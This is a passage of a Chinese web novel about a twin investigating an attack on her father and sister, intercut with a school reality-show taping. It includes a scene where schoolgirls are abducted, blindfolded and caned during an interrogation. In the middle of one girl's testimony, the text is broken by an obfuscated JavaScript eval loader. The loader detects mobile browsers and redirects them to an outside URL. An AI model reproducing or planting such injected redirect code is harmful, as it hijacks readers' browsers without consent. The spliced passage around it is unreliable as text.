张世在学校里是张副校长，在家里也就是个偏爱女儿的父亲，他拦住老婆的絮叨：“你们妇道人家，有些事情不知道，鸿鸿遇到了点事儿，源源在帮着解决呢，所以才回家晚。咱们静静这么乖，能去干什么，肯定又是和茹梦那丫头去镇东的兰蕙书屋看书去了。平常上学时管得就紧，放暑假虽然不能放松，但还是可以适当给孩子一些自由。”说着张世给静静使眼色。 “爸爸猜得没错，我是去兰蕙书屋了。”张静思点头，“妈，你要不信就给李茹梦打电话问问。” 潘珍：“你买的书呢？” 张静思：“我挑好了几本书才发现没带钱，改天带着钱再去买。” 潘珍皱眉，她起身把自己的钱包取过来，抽出几张钞票递给女儿，数落道：“你这马虎的性子尽耽误事儿，去买书怎么能没带钱呢，妈妈给你钱，你明天就去把想看的书买回来……” 见老婆的话越说越多，女儿低着头在旁边一副听训的模样，张世笑道：“静静今天录了一天综艺，暑假作业是不是还没写，先回房间学习吧，要是累了就早点洗漱休息。” 张静思如蒙大赦，起身回房间。 将房门关紧，张静思趴在窗台上瞧对面的单元楼。 张家和潘家住得很近，都在一个小区，单元楼挨着单元楼。 不过因为潘家还有一个潘老爷子在，也就是张静思的外公，所以潘家算是三世同堂，户型要比张家大很多。 从张静思的房间恰好可以看见潘源房间和潘鸿房间的窗户。 而现在，两兄弟房间的灯都没有亮。 他们还没有回来吗？ 张静思躲在窗帘后悄悄地向对面的楼下看去。 也没有看见他们的车…… 张静思看了一会儿，强迫自己坐在书桌前，拿出练习册开始做题。 突然听见楼下传来熟悉的引擎声，张静思凑到窗前望去，正是潘鸿那辆显眼的车。 张静思拿起零钱包推开房门。 潘珍正在客厅看电视，见张静思在门口换鞋，奇怪道：“静静，这么晚了你去哪里？” 张静思镇定道：“我笔芯用完了，我去小区门口的文具店买盒笔芯。” 潘珍没有怀疑，点头道：“嗯，你去吧。” 张静思已经走出家门正准备下楼，突然家门又被拉开，身后传来潘珍的声音：“静静，等一等。” 张静思心跳加速，回头问道：“妈妈，怎么了？” 潘珍：“你买完笔芯，顺便去小区门口的超市买两袋盐回来。家里盐快吃完了，但我总忘记买，刚我突然想起来。你总是要出去，顺便帮妈妈跑一趟啊。” 张静思：“行。” 等潘珍将门关上，张静思飞快地向楼下跑去。 好在潘源和潘鸿还没上楼。 潘鸿正靠在树上抽烟。 潘源站在一旁。 两人不知道在聊些什么。 张静思猜道，肯定是二表哥烟瘾犯了，又不敢回家抽烟，怕外公和舅舅训他，只好在外面抽，大表哥是在等他。 张静思往通向小区外的那条路走去，经过两人身旁时像是才发现他们似的，甜甜喊道：“大表哥，二表哥。” 潘鸿叼着烟吊儿郎当：“妹儿，这么晚干啥去呀？” 张静思：“我妈让我去买盐。” 潘鸿疑惑：“姑姑舍得使唤你跑腿？” 张静思：“我本来是去买笔芯的，我妈顺便让我买两袋盐。” 潘鸿：“我说呢。” 张静思：“哥，都已经九点了，你们怎么这么晚才回来？” 潘鸿：“嗐，有点事情，这不，怕挨训，不敢上去。” 张静思：“你们吃饭了吗？” 潘鸿：“吃了，我们吃得早，傍晚就吃过饭了。” 张静思：“伸头是一刀，缩头也是一刀，不如早点上去，也免得外公和舅舅担心你们。” 潘鸿将烟头扔到地上踩灭，整了整身上印花衬衫上并不存在的褶皱，说道：“也对，那我们这就回去了。静静你不是还买东西吗，也快去吧。” 直到张静思离开，大表哥除了在和她问好和道别时说了话，全程都没有开口。 虽然心里明白大表哥平常生活中就是这样的性格，张静思心里还是有些失落。 大表哥和二表哥的性格怎么就差这么多呢？ 大表哥在她面前的话要是有二表哥一半多，她就开心了。 *** 这一夜，有人辗转反侧，有人酣然入梦。 但光阴不会因为人的意志而停止流转。 当清晨的第一缕阳光笼罩住青山镇这片土地，周二来临。 吕正言同往常一样，早上起得很早，帮外婆在餐馆里做早点。 上班的人来来往往，有的打包在路上吃，有的在店里快速解决。 忙过一阵，总算有了喘息之机，吕正言为外婆倒上一杯水。 吕奶奶见外孙一直在看墙上钟表的时间，问道：“言言，你今天有什么安排吗？” 吕正言：“外婆，我今天上午和同学约着一起讨论作业里不会的题目。” 吕奶奶：“你们约的几点钟？” 吕正言：“现在就得走了。” “已经七点了，你还没吃早饭，你那同学估计也没吃，”吕奶奶说话的语速快，手上的动作丝毫不见慌乱，她极快地从蒸笼里装出两份小笼包，又拿了两杯豆浆，两个鸡蛋，一起打包好，递给外孙，“你快去吧，餐馆里的食材该准备的都准备好了，我一个人可以的。” 吕正言接过早点，点头道：“外婆，我早点回来。”然后背上书包，骑上餐馆门口停着的自行车飞快离开。 *** 青山镇北，河滩公园。 说是公园，其实原本只是河边的一片荒地。 以前河道里污水很多，近几年添了许多草木绿植，河水渐渐清澈起来，许多人喜欢傍晚时来这里散步。 一座废弃的火车桥横亘在河道之上，是别样的风景。 吕正言骑车到达这里时，已经七点半。 远远瞧见周佑谷站在桥上的身影，她旁边还站着一个个子很高的男生。 吕正言将自行车停在桥下，拎起书包和早点，一步一步地上桥。 周佑谷早在吕正言骑着自行车飞驰而来的时候就看见他了，见吕正言正在上桥，她对身边非要跟着她一起来的池和安警告道：“池和安，你待会别乱说话。” 池和安挑眉，懒懒道：“知道，你放心，我是来帮忙的，不是来添乱的。” 吕正言此时已经上桥，向两人走来。 周佑谷迎过去，打过招呼后，指着池和安向吕正言介绍道：“这是我堂哥，来保护我俩的。” “哥哥好。”吕正言礼貌问好，然后又问，“你们吃早饭了吗，我带了点早点。”说着举起手里的袋子。 周佑谷：“还没呢，我们不熟悉路，找这个地方就花了点时间，所以还没来得及吃饭。” 吕正言指着桥下停着的一辆越野车：“那是你们的车？” 周佑谷点头：“是的。你放心，没人尾随。” 吕正言：“那坐下吃点儿？” 周佑谷拉着池和安盘腿坐下。 火车桥很高，三人围在一起吃早点，足以将周边的一切尽收眼底。 吕正言：“佑雨……现在怎么样？” “她受了点伤，”见吕正言听见这话露出焦急的神色，周佑谷安慰道，“不过已经转到省会的医院了，正在治疗。” 吕正言：“到底发生什么事情了？” 周佑谷斟酌道：“其实具体的我也不清楚。佑雨既然和你说过我这个双胞胎姐姐，那你应该知道，我们的父母离婚了，所以我们没有住在一起，我对她身上发生的事情知道的也不多，所以才想来找你了解情况。” 吕正言：“你怎么知道我家的地址的呢？” 周佑谷瞥了一眼坐在旁边的便宜哥哥池和安：“你吃好了吗？” “嗯。”池和安放下豆浆，“怎么，我不能听？” 周佑谷：“涉及到我妹的隐私，你要不上车上休息一会儿？” 池和安站起来，拍拍身上的灰尘：“得，我今天的任务就是当你保镖，我上桥头给你望风去。” 待池和安走远，周佑谷才道：“我妹妹有个日记本，我在里面找到一张纸条，上面写了一行地址，我昨天就是去找这个地址，然后阴差阳错碰到了你，也算是歪打正着。” 吕正言：“我可以看看那个纸条吗？” 夹着纸条的那一页，妹妹用娟秀的字迹写着：「也许他值得信任。」 想到这一点，周佑谷从兜里拿出纸条递过去。 吕正言摩挲着纸条上自己的字迹，说道：“这是我给周佑雨的。” 周佑谷：“你给她这个干什么？” 吕正言盯着周佑谷，目光在周佑谷的面庞上扫过，带着些审视的意味。 “你和你妹妹的五官长得真像。” 周佑谷：“是。” 吕正言话锋一转：“但是熟悉你们的人应该不会将你们两个认错。” “为什么？”周佑谷回想起昨天，眼前这人一眼就看穿她不是妹妹，但是仍然奋力帮她。 吕正言：“你们的言行举止、行事作风以及气质都太不一样了。” 周佑谷：“哦？” 吕正言正色道：“你妹妹一直在被她班上的几个女生霸凌，我帮过她几次，但是我也不可能每次都能恰好救下她，所以告诉她有事可以去找我，怕她记不住我家地址，我这才写下来交给她。” “霸凌？”周佑雨皱紧眉头。 昨晚挡路的三个女生，以及后来追赶她的那群混混，都将她认成了佑雨…… 如果她没来，本该承受这一切的就是佑雨。 周佑谷眯起眼睛：“她们为什么针对佑雨？” 吕正言摇头：“可能你妹妹太内向了，独来独往的，看着好欺负吧。” 周佑谷深吸一口气。 太阳渐渐升起，她望着桥下波光粼粼的水面，仔细在脑海里梳理整件事情。 半晌，她才道：“这个事比我想象的要复杂。” 吕正言露出疑惑的表情。 周佑谷回忆着昨天主动找她的那几个女生，她记住了她们名牌上的名字：“你说的霸凌佑雨的几个女生，是不是都有些咋咋呼呼，分别姓杨、姓 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周佑谷细细回想昨天的一幕幕，猜测道：“虽然姓杨的那几个女生这次没有参与，但是她们应该都知情，不然不可能昨天见到我露出那般吃惊的神情，还一再地来试探我。” 吕正言：“所以这次到底发生什么事了？” 周佑谷：“以前每次放假，我都会来陪佑雨和爸爸一阵子。这次暑假也不例外。上周四，我来青山镇。已经提前告知他们我来的时间，但是到家门口，敲门却没有人应答，打电话也没人接。我没有钥匙，只能在楼下等他们。” 周佑谷的目光变得悠远，仿佛回到了那天。 *** 周佑谷在周家门口敲了半天门，屋内却没人应答。 给爸爸周承打电话，没人接。 给妹妹周佑雨打电话，也联系不上。 周佑雨没有手机。 周佑谷嫌弃经常联系不上妹妹，想给妹妹买个手机。 但是周佑雨不要，言之凿凿道：“姐姐的钱是姐姐的，我要了爸爸会不开心的。” 所以最后周佑谷给妹妹买了个最新款的电话手表：“这个又不贵，又好看又方便我联系你，怎么样，喜欢吗？” 周佑雨虽然觉得幼稚，但是看着姐姐的星星眼，还是点头道：“喜欢。” 周佑谷在周家楼下等到天黑。 池家送她来的司机朱叔一直陪她等着。 后来她终于拨通了妹妹的电话：“佑雨，你终于接电话了，你在哪里呀，怎么还没回家，我去接你？” 那头传来的却是一个陌生男子的声音：“你是这女娃的谁？快来江边，她和另外一个中年男子好像都溺水了……” 其说话间颤抖的声线顺着电话传来，让周佑谷的心沉下来。 周佑谷一面在电话中安抚那个人的情绪，一面问清地址，然后让朱叔载着她火速赶往江边。 *** 吕正言：“后来呢？” 周佑谷回忆道：“我按着那人说的地方找过去，发现我爸爸和妹妹昏迷躺在江边，他们的衣服湿漉漉，像是才被人从水里捞起来。” “观察到我爸脸上有被打的痕迹，我觉得这不是简单的落水。因为还不知道凶手是谁，青山镇并不安全。所以就没有把人往县医院送，而是直接连夜把人送到了市里的医院。等两人情况稳定后，又转到了省城。” 吕正言奇怪：“那个接电话的人呢？” “不知道，当时在那附近没有找到其他人。”周佑谷，“所以目前我也不能确认那人的身份，究竟是敌是友。” “太可疑了。”吕正言皱眉，“整件事情扑朔迷离。” “对，这正是我要以身犯险、假扮佑雨的原因。”周佑谷握紧拳头，“只有这样，才能引蛇出洞，我才有机会窥得整件事情的真相。” “难道是你爸在工作上惹到人了？”吕正言猜测道。 “听昨天那个潘鸿的口气，应该是的。”周佑谷，“他是潘跃的儿子……” 想到这里，周佑谷问道：“你知道飞鸿钢铁厂吗？” “当然知道，这家钢铁厂在我们这里很有名气。”吕正言恍然大悟，“原来昨天那伙人是飞鸿钢铁厂的吗？” “应该就是的。”周佑谷百思不得其解，“可是我爸是在茶厂工作，怎么会和飞鸿钢铁厂扯上关系呢？更遑论得罪他们？” 吕正言沉默。 他只是一个普通的高中生，每天的生活就是学习和帮外婆照顾餐馆的生意，掺和进周佑雨的事情对他而言已经是破例。 现在事情的发展更是大大超出他的想象。 周佑谷总觉得有什么是被她忽略掉的。 她仔细回想昨天经历的一切，不放过记忆里的蛛丝马迹。 日头渐渐升高，周佑谷抠着火车桥栏杆上的铁屑，入神地想着。 回想起杨瑾菲几人不断在她面前提到的张静思表哥，以及她们讳莫如深的表情，周佑谷问道：“张静思是谁？” 听到周佑谷冷不丁提到一个好像毫不相关的人名，吕正言也愣了一下。 他想了想，答道：“张静思是周佑雨的同班同学吧，听说她爸爸是我们学校的副校长。” 周佑谷：“哪个副校长？叫什么？” 吕正言：“就是分管政教处的张副校长，张世。” 周佑谷在心里记下这个名字，突然发觉吕正言说这句话时的称谓，问道：“张静思是我妹妹的同班同学，但不是你的同班同学吗？你和我妹妹不是一个班的？” 吕正言：“嗯，不是一个班，所以我对她们班的人也不是太了解。对这个张静思也只是听说过。” “那你能和我妹有交集也是挺神奇的。”周佑谷。 吕正言：“机缘巧合。” 周佑谷：“那你肯定也不知道张静思的表哥是谁了？” 吕正言摇头：“不知道。” 这时池和安走过来，手指在腕上的表盘上轻点，笑道：“二位，已经过去半个小时，周边的人渐多，远处有好几位老头儿老太太遛弯呢。” “该撤了。”周佑谷拍拍手上的铁屑，转过身，对吕正言说道，“那咱们今天就先聊到这里。之后如果还有什么事情，再互通有无。” “好，”吕正言点头，“有什么尽管说，我会帮你们的。” 周佑谷轻扯嘴角：“谢了。” 吕正言又道：“如果你妹妹之后情况好转，也请告知我一声。” 周佑谷目光定定锁住吕正言，见他神色清正，才道：“好。” 周佑谷跟着池和安往桥下走，回头见吕正言仍然站在桥上，垂首盯着水面。 她看不清他的表情，只是这一刻，她突然觉得有些能明白，妹妹为何信任他。 141. 江湖夜雨 正宁中学的校园里，《青衿与长衫》这档综艺的录制仍然在照常进行。 这是综艺录制的第二天。 早上第一节课是影帝宁斯文的武术课。 宁斯文将上课地点定在学校的操场。 为了避免影响录制，容清洛只好在早上六点钟就起来到操场晨跑。 没想到她才跑了几圈，就远远地听见宿舍楼那边传来歌声。 容清洛满腹狐疑地停下跑步的步伐，循声往宿舍楼走去。 只见一个年轻男子正站在男宿舍楼和女宿舍楼之间的空地上，背对着她的这个方向，一边拿着音响放歌，一边拿着喇叭大喊：“起床了，起床了。” 旁边是已经开始录制的节目组。 见容清洛一身元气的运动装，穿戴整齐地从外面回来，跟拍她的摄像老师连忙将摄像机对准她。 邱锐：“清洛你起这么早？” “嗯，我晨练。”容清洛看这个架势，问道，“这是什么情况？欧姐和戴姐要是被你们吓出个好歹来，你们担待得起。” 邱锐：“早上嘛，上课之前，召集各位老师玩个游戏。” 说话之际，众人都已经被喊下楼，汇聚在两栋宿舍楼中间的这片空地。 邱锐向大家介绍：“各位老师，这是本周的第一位飞行嘉宾，高风。” 高风是男团爱豆，礼貌和大家问好：“各位老师好，早上吵醒大家了，这里给各位老师赔罪。我叫高风，初次见面，请多多指教。” 影后戴思秀抚了抚胸口道：“没事，这个点本来也要起来的，除了被突然响起的音乐吓到以外，也没什么的。” 宁斯文笑骂导演组：“节目组给飞行嘉宾安排这种叫起任务，真的不是在给嘉宾拉仇恨吗？” 大家都笑。 辛才本职是主持人，习惯性地找话题活跃气氛：“高风，你和我们所有人都是第一次见面吗？以前有合作过的吗？” 高风看着容清洛笑得腼腆：“之前和清洛学姐合作过舞台。” 容清洛点头：“嗯，那都是好几年前的事情了，时间过得真快。” 欧声声疑惑：“学姐？” 高风：“欧老师，我和清洛学姐一样，都是《偶像制造》出道的，只不过我是第六季，学姐是第一季。当时公演舞台和学姐一起表演过。” 几个人聊起来。 “咳咳，”邱锐拿着喇叭，适时地打断了众人的寒暄，“诸位支教团的老师为人师表，早上召集大家是想为大家做一个紧急培训和测试。” 众人的表情都有些呆滞，原本还在和各位老师互相认识的高风张大嘴巴：“一来就这么刺激吗？” “我们给大家发一些资料，各位自行分组进行复习和答题。”邱锐说着，便让工作人员为各位老师发放资料，笑容和蔼，“题目都选自教师资格证考试的《综合素质》和《教育知识与能力》，大家要仔细复习哟。最后测试分数高的一组可以获得奖励积分。” 听见邱导的要求，白兴哲愁眉苦脸：“咱们七个人，怎么分组呀？” 宁斯文突发奇想：“要不咱们按照课程类型来分组，一队是动嘴皮子的，一队是需要活动手脚的。” 欧声声：“这么分还有点儿意思。” 白兴哲：“这怎么分，是说咱们相声、声乐、普通话一组吗？” 欧声声点头：“对。” “那我这个书法算在哪个里面，也属于活动手脚的吗？”戴思秀。 “当然，不是动嘴皮子的，那就是活动手脚的。”宁斯文回答完戴思秀的问题，又问飞行嘉宾高风，“小高你是教什么课的？” 高风：“我教舞蹈。” 辛才：“那不是和清洛重了吗？” 高风惊讶：“啊？学姐也教舞蹈？” 容清洛点头：“是的，不过我具体教学时偏向的是爵士舞。” 高风松下口气：“我主要是教街舞。” 容清洛：“嗯，那还是有区别。” 高风：“听说这周会有一个飞行嘉宾，也是教舞蹈的。” 容清洛：“看来这周是舞蹈专场。” 宁斯文：“那我们武术、书法和两个舞蹈一组？” 欧声声：“那我、辛才、兴哲，总共才三个人。” 宁斯文：“那要不我们分给你们一个人？” 戴思秀主动请缨：“其实我感觉我在这一队有一些格格不入。一个武术和两个舞蹈，都是活力四射，我这个书法有点过于文静了。咱们还不如按照文武分成文队和武队。这样我过去和声声她们一组，这样就比较和谐。” 邱导插话：“可以这么分，这样到时候再来一个嘉宾就加入武队。” “看来下一个飞行嘉宾很有可能真是跳舞的。”容清洛对高风道。 高风很是赞同。 大家都同意这个方案。 于是邱导宣布：“经商议，支教团现分成文队和武队。文队由教书法的戴老师、教声乐的欧老师、教普通话的辛老师以及教相声的白老师组成。武队由教武术的宁老师、教爵士舞的容老师、教街舞的高老师组成。” 如此这般，众人便开始一起复习准备答题。 *** 而另一边，程景逸早上进校门时，突然察觉到有些不对劲，皮鞋在踏往通向办公楼的道路时便转了个弯，停在门卫室门口。 保安都纷纷和程景逸打招呼：“程校长早。” “早啊，都吃饭了吗？”程景逸和几人闲聊两句，一边说话，一边回身，不经意地朝学校对面望去。 余光瞥见马路对面以及校门左右两边都三三两两地站着一些卖早点、摆书摊的人，左边还停着一些车。 程景逸从怀里掏出一盒烟，一边发给几人，一边抬抬下巴，示意着校外：“如今放假，校门口怎么会有这么多商贩，昨天都还没见到？” 保安道：“可能是听说最近学校在录制综艺，所以就都来了。” “是嘛，消息还挺灵通。”程景逸嘴上这么说，眼里警惕性却并未降低半分。 这其中，有些人是商贩，有些人却鬼鬼祟祟，那模样，看起来实在像是在蹲点堵人。 程景逸拍拍保安的肩膀，叮嘱道：“看好校园门户，别让无关人员进来。” 保安们点头：“是。” 程景逸往办公楼走去，心里思索，这些人难道是狗仔，来拍明星的？ 还是说，学校里，有人惹事了？ *** 池和安开车将周佑谷送回家。 进门后，他倒杯水递给周佑谷：“小谷，你现在有什么打算？这边并不安全，我们最好速战速决。” 周佑谷已经思索了一路，听到池和安这么问，便道：“我其实有个方法，但是需要你的帮助，不知道可不可以？” 池和安站定，看着周佑谷道：“你说说看。” 周佑谷：“借我几个人，我要以彼之道，还施彼身。” *** 上午课间休息时分，朱吴毓凑到卢芒和杨瑾菲两人面前，小声道：“今天周佑雨没来。” 杨瑾菲：“我早上来得早，听到吴老师在导演面前帮周佑雨请假了，说是周佑雨生病了，今天没办法录制。” 卢芒提出质疑：“她昨天傍晚那个样子不像是生命的模样呀？骗人的吧。” 杨瑾菲：“不知道。反正她是今天请假，明天又不是不来了。就算她不录这个节目了，她又不是不上学了。跑得了和尚还跑得了庙吗？” 卢芒觉得是这个道理，赞同道：“也对。” 朱吴毓目光微闪，没再说话。 一上午很快过去，中午时分，杨瑾菲几人有说有笑地向校外走去。 她们准备去学校对面的小吃街，没想到的是，却在走到马路对面后，被拉进了小吃街旁边的那条小巷。 几人常常在这附近闲逛，却从来没发现这里还有一间废弃小仓库。 她们都很惊慌，想要大声呼喊，却被人捂住嘴巴，连眼睛也都被布条蒙上。 池和安站在房间中央，见人被带进来，示意手下放开几人。 待大门被关闭后，他才真正将目光放在杨瑾菲几人身上。 池和安将食指放于唇前：“嘘，安静点。” 他声音很温柔，却让杨瑾菲感到不寒而栗。 杨瑾菲打了个寒颤，强迫自己闭上嘴。 朱吴毓和卢芒也都停止呼喊。 “很好，还算听得懂人话。”池和安道，“请几位来，是想问几句话，问完你们自可离开。” 杨瑾菲：“你想问什么？” “别紧张，就是随便聊聊。”池和安，“上周四晚上，你们去了哪里，见了什么人，做了什么事？” 池和安指着杨瑾菲说道：“一个一个说，从你开始。” 但由于杨瑾菲几人的眼睛都被蒙住，看不见，所以他的手下上前踹了杨瑾菲一脚：“和你说话呢。” 池和安皱眉：“对姑娘家温柔点儿。” 杨瑾菲踉跄一下，趴在地上：“上周四……周四晚上……” 想明白上周四究竟是哪一天，杨瑾菲惶恐不安。 池和安：“说慢点没关系，我很有耐心，但是我这个人最痛恨有人说假话，如果让我知道你们骗我，你们就会知道什么叫生不如死。” 听清池和安森冷的威胁，三人都很害怕。 杨瑾菲心里明白她必须得说点什么，便从地上爬起来站好，对着池和安站着的方向说道：“上周四晚上，我们三人一起在老街吃饭，吃完饭后沿着老街闲逛，走了一阵，然后看见……看见……” 她有些犹豫，到底要不要说出张静思的表哥。 潘家人，可不好惹。 池和安声音里带着威压：“看见什么，想好再说。” 杨瑾菲只得避重就轻地简要概括道：“看见有人打架，我们害怕就躲在一旁，直到那些人离开。” 池和安：“是什么人打架，是否看清楚了？” 杨瑾菲：“我当时太害怕了，所以并没有看清。” 池和安知道她有所隐瞒，不过也不以为意，只是道：“哦？是吗？那是在什么地方，你还记得吗？” 杨瑾菲：“我记得是在南乡路附近。” 南乡路锦绣园小区，是周佑雨家的住址。 池和安眸光微闪：“这么肯定？” 杨瑾菲：“因为我记得我们最后离开时，经过了河道的三桥。” “嗯。”池和安指着站在杨瑾菲旁边的卢芒道，“该你了，说说那天打架的人都有谁，有哪些特征，有几方人，每方有多少人。” 池和安的手下这回没有用脚踹，而是拿手拍了卢芒的肩膀一巴掌：“回话。” 卢芒不满道：“别推呀，我被蒙着眼，怎么知道是在和我说话。” 池和安低头赏玩自己的手掌，挑眉道：“看来这位姑娘还小，不太懂事，在家没被教好。我们今日有缘相见，在下只能受累，替你家长辈教教你规矩。” 他挥挥那骨节分明的修长手指，便有手下上前控制住卢芒，拿着竹条往卢芒的屁股上打。 卢芒想要骂出口，但也被捂住嘴巴。 “又不疼，又不会留疤，你这么紧张做什么，”池和安冷笑，“只是想让你说话之前好好想一想，什么话不该说，什么人不该惹。” 池和安见卢芒渐渐冷静下来，他抬手示意手下停下来，这才道：“现在能回答我刚才的问题了吗？” 卢芒再不敢放肆，说道：“那天有两方人，与其说是打架，不如说是单方面群殴。大概四五个年轻男人打一个高中女生和一个中年男子。” 池和安：“认识打人的和被打的都是谁吗？” 卢芒低下头：“不认识。” 池和安轻笑：“一个说太害怕没看清，一个看清了却说不认识。” 他走到朱吴毓面前，说道：“你呢？说说，知道什么？要是说不出来什么有用的信息，我可要好好想想你的下场了。” 没等池和安的手下敲打朱吴毓，朱吴毓便开口：“那个被打的女生是我们学校的学生，打人的里面有我们学校另外一个女生的表哥。” “我只知道这些，求求你别打我。” 池和安挑眉：“知道这些人的名字吗？” 朱吴毓知无不言：“打人的是张静思的表哥，我只知道他姓潘。被打的女生叫周佑雨。” 池和安：“哦，是吗，你说的都是真的？” 朱吴毓：“绝无虚言。” 池和安：“那怎么你的两个同伴都不知道的事情，你这么清楚？” 朱吴毓低头。 池和安：“哦，我知道了，因为你们中有人撒谎。” 卢芒和杨瑾菲都紧张起来。 池和安：“我是不是一开始就告诉过你们，我这个人最痛恨有人在我面前说假话。看来你们是不相信，所以才非要来试探一二呀。” “看起来你们三个关系很好。”池和安笑道，“知道什么叫连坐吗？” 观察着杨瑾菲、卢芒和朱吴毓的神情，池和安说道：“想来你们姐妹情深，应该很愿意一起受苦吧。” 瞧见几人慌张的神色，池和安收起脸上的笑意，对手下人吩咐道：“拿着竹条打，每个人都照顾到。” 池和安带的人多。 他们分别将杨瑾菲、卢芒和朱吴毓拉开，控制住让她们不会叫出声，然后便拿着竹条往她们的屁股上招呼。 三人想要呼喊，嘴巴却被人捂住。 池和安说道：“给你们一个机会，分别指出同伴刚刚说出的谎言，我就叫人停下。明白了吗？” 杨瑾菲呜咽着发出含混不清的声音。 池和安走到她面前，踢了她膝盖一脚：“你想说？” 杨瑾菲点头。 池和安示意拉着杨瑾菲打的人停下来：“先放开她。” 杨瑾菲说道：“卢芒刚刚撒谎，她认识打人的和被打的那些人。” 卢芒也表示要说话，池和安让人放开她。 卢芒喊道：“杨瑾菲刚刚也撒谎了，她根本就没有因为害怕而没看清，实际上我们都看清了。” 杨瑾菲和卢芒两人都暂时获得解放，可朱吴毓还在被打，她挣扎着想说话。 池和安示意手下人放手，对她道：“她们都已经说了，你还有可说的吗？” 朱吴毓慌乱道：“有的，有的。” 池和安：“那说来听听。” 朱吴毓：“杨瑾菲刚刚说是因为看到河道的三桥才知道事情发生在南乡路附近，其实不是的。我们当时是专门到南乡路附近……找人，然后恰巧看见的这件事。” 池和安：“找谁？” 朱吴毓：“就找……周佑雨。” “这是谁？”池和安。 朱吴毓：“就是那个被打的女生。” 池和安：“找她干什么，你们关系很好？可我记得，刚刚你们中还有人说不认识她呢。” “真是不听话，又在说谎。”池和安轻抬下巴，示意手下人继续，“看来你们还想尝尝竹条的滋味。” 杨瑾菲连忙道：“我们确实认识周佑雨，去找她只是想和她聊聊天。” “聊天？”池和安，“哪种聊天，今天我们这种聊天吗？” “看起来，你们和那女孩的关系也不怎么好么。” 卢芒道：“我们确实看她不爽，就是去找她茬儿的，怎么了？” 池和安：“你觉得你很真性情吗？” 怕卢芒惹怒池和安，杨瑾菲辩解道：“我们确实有一些矛盾，所以才想去找她聊天化解矛盾。没想到却遇见有人打架群殴，当时我们实在是被吓坏了，这才躲起来。” “刚才那一关你们算是过去了，接下来我们来问第二轮问题。”池和安，“周四那晚的冲突发生了多久，冲突双方都说了什么话？” 卢芒刚刚冲动顶嘴，这会儿很是后怕，担心自己之后会被针对，连忙抢答道：“当时整个过程持续地有二十来分钟。我们怕被发现，离得并不算很近，所以具体对话我听得并不是很清楚。但是……我看到，最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586983|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后周佑雨以及和她一起的中年男子被其他人扔进水里了。” “扔进水里？”池和安问杨瑾菲和朱吴毓，“她说的是真的吗？” 杨瑾菲：“是真的，当时周佑雨两人好像晕过去了，打人的那几人似乎也挺慌张的，就把人扔进水里了。” 池和安：“然后呢？” 朱吴毓：“然后我们等那几人走后，才悄悄离开的。” 池和安：“你们这短短几句话有多少漏洞，自己心里有数吗？” 这人的语气寒凉，三人瑟瑟发抖。 池和安又道：“我的耐心已经即将被你们耗尽，奉劝你们赶紧想一想，还有什么是说错了的，或者没说的。现在说出来，还不算晚。” 几人都道：“我们真的没说谎，就看到了这些，其他再没有了，真的没有了。” 池和安估计应该确实问不出什么了，决定今天就问到这里，便悄悄给手下人打了个撤退的手势。 所有人静默地悄悄退出这个仓库，而杨瑾菲几人还在讨饶。 待过了许久，几人发现再无桎梏，摘下蒙着眼睛的布条时，仓库里早已人去楼空，仿佛刚刚几人的经历只是一场噩梦。 *** 池和安：“带兄弟们找个宾馆住下来，安顿好后守在南乡路附近，这几天先不回云市，随时待命，等我消息。” 吩咐完手下，池和安一个人驱车回到周佑谷家。 周佑谷给他开门，神色很不好。 池和安：“刚刚通过视频都看到了？” “嗯，”周佑谷神情郁郁，“她们没少威胁和霸凌佑雨，今天算是小惩大诫，让她们也尝尝这被人欺负的滋味。” ”只是我一想到她们曾经对佑雨做的，就觉得只是这样吓唬吓唬真是便宜了她们。” “我能理解你的心情。”池和安耐心道，“但是小谷，我们能做的，也就是到今天这种程度，吓唬吓唬她们，诈出一些线索。不可能真的让她们把佑雨经历过的再经受一遍，那是违法的。” “她们先做出违法的事情，我们难道还不能以其人之道还治其人之身吗？”周佑谷不甘心。 “所以才说，恶人任逍遥，好人自难为。”池和安，“恶人只要顺着自己的心意逍遥自在，不管他人死活。好人想要以牙还牙却要受自己内心的各种原则约束。” “不过善恶本就不是仅凭你我凡人肉眼就能辨明的。谁善谁恶，不往上追溯三代、往下观望百年，哪能见分晓。” 周佑谷：“你在拐着弯说我妹妹不是好人？” “小谷，这你可就误会我了。”池和安大呼冤枉，“我这千里迢迢从云市给你摇人过来助阵，没有功劳也有苦劳，却要被你这般误解，我可真是太心痛了。” 周佑谷认真道：“和安哥哥，今天谢谢你。” “没事儿，”池和安揉揉周佑谷的脑袋，“有啥要求尽管提，有啥想做的放心大胆去做。一切有哥在呢。我肯定站在你这一边，给你撑腰。” 周佑谷立马开始盘算下一步应该怎么做。 她拿出刚刚在视频里实时观看池和安审人时记下的线索：“根据杨瑾菲三人的话，我们可以大概推测，上周四晚上，姓潘的带着四五个人在我家附近的河道三桥边殴打我爸和我妹妹至昏迷，最后将两人扔进河里。” “这样就能说得通了。”周佑谷沉吟道，“看来吉人自有天相，我爸和我妹妹命不该绝，有好心人从河里把他们捞起来，救了他们。恰好那时我打电话过去，根据那个好心人提供的地址找到了他们。” 池和安：“那我们现在应该怎么找到那个姓潘的？” 周佑谷：“哪里还需要主动去找，昨天他不是已经送上门来了？” 池和安：“你是说昨天晚上堵你的那群混混里有那个姓潘的？” “不错，昨天领头的那人叫潘鸿，是潘跃的儿子。”周佑谷说道，“看来我这招引蛇出洞用得还不错，打我爸和我妹妹的应该就是潘鸿没跑了。” “潘跃？”池和安，“是飞鸿钢铁厂那个潘跃吗？” “你也想到了？”周佑谷，“就是他。” “如果是这个潘家，那确实有点难办。”池和安蹙起眉头，“说到这个，我突然想起来，今天中午我带着手下人到学校附近熟悉地形找地方时，发现学校门口还蹲守着一伙人，像是在堵人。” 周佑谷：“十有八九是潘鸿他们在堵我。” 池和安：“要不你就先不去学校了，那个综艺录制不参加也罢，你的安全最重要。” 周佑谷摇头：“我爸和我妹的公道更重要。” 迎着池和安不赞同的眼光，周佑谷在纸上圈出一个人名。 